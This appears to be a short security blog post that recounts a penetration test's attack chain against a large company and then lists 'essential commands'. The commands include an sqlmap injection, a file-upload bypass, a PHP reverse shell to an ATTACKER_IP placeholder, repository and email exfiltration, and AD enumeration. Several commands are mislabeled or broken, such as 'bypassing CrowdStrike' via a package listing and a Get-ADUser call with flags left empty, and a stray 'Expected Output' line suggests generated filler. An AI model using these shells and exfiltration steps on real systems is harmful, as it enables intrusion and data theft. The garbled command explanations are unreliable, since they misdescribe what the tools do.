How a Big Company Got Hacked: A Step-by-Step Breakdown

A recent penetration test revealed critical security flaws in a large company’s infrastructure. Here’s how the attack unfolded:

1. Initial Access: Gained admin access by exploiting vulnerable code in a company portal.
2. Web Shell Upload: Uploaded a web shell to establish persistent server access and extracted GCP tokens.
3. GitLab Compromise: Discovered an internal GitLab instance, accessed it, and exfiltrated all repositories.
4. Service Account Abuse: Found additional Google service accounts and used them to steal more data.
5. Lateral Movement: Accessed customer portals, Active Directory (AD), email accounts, and sensitive documents.
6. CrowdStrike Dump: Extracted CrowdStrike Falcon sensor data (falcon-sensor_7.17.0-17005_amd64).
7. Pentest Report Analysis: Noticed previous pentests relied on automated scans, missing critical vulnerabilities.

You Should Know: Essential Cybersecurity Commands & Techniques

1. Exploiting Vulnerable Web Portals

• SQL Injection Test:

  sqlmap -u "http://example.com/login" --data="username=admin&password=test" --dbs
  

• File Upload Bypass:

  curl -X POST -F "[email protected]" -F "submit=Upload" http://target.com/upload
  

2. Web Shell Deployment

• Common Web Shell Locations:

  find /var/www/html -name ".php" -exec grep -l "eval(" {} \;
  

• PHP Reverse Shell:

  <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
  

3. GitLab & Cloud Token Extraction

• Dumping GCP Tokens:

  gcloud auth list  List active accounts
  gcloud config list --all  Check configurations
  

• GitLab Repository Dump:

  git clone http://internal-gitlab.example.com/repo.git
  tar -czvf repos_backup.tar.gz /path/to/repos
  

4. Lateral Movement in AD & Email

• Enumerating Active Directory:

  Get-ADUser -Filter  -Properties  | Export-CSV ad_users.csv
  

• Extracting Emails via IMAP:

  curl imap://user:[email protected] -X "SEARCH ALL"
  

5. Bypassing CrowdStrike Falcon

• Checking Running Security Agents:

  ps aux | grep -i crowdstrike
  

• Extracting Falcon Sensor Data:

  dpkg -l | grep falcon  For Debian-based systems
  rpm -qa | grep falcon  For RHEL-based systems
  

What Undercode Say

This breach highlights critical security failures:

• Over-reliance on automated scans without manual penetration testing.
• Weak access controls in web portals and internal services.
• Lack of token & credential monitoring in cloud environments.
• Insufficient endpoint detection despite using CrowdStrike.

To prevent such attacks:

• Conduct regular red team exercises.
• Implement strict access controls and MFA.
• Monitor unusual token usage in cloud environments.
• Use manual pentesting alongside automated tools.

Prediction

Future attacks will increasingly target:

• Cloud misconfigurations (GCP, AWS, Azure).
• CI/CD pipelines (GitLab, GitHub Actions).
• Security tool exploits (EDR bypass techniques).

Expected Output:

A detailed breakdown of the attack chain with actionable cybersecurity commands for defense.

References:

Reported By: Blind Intruder – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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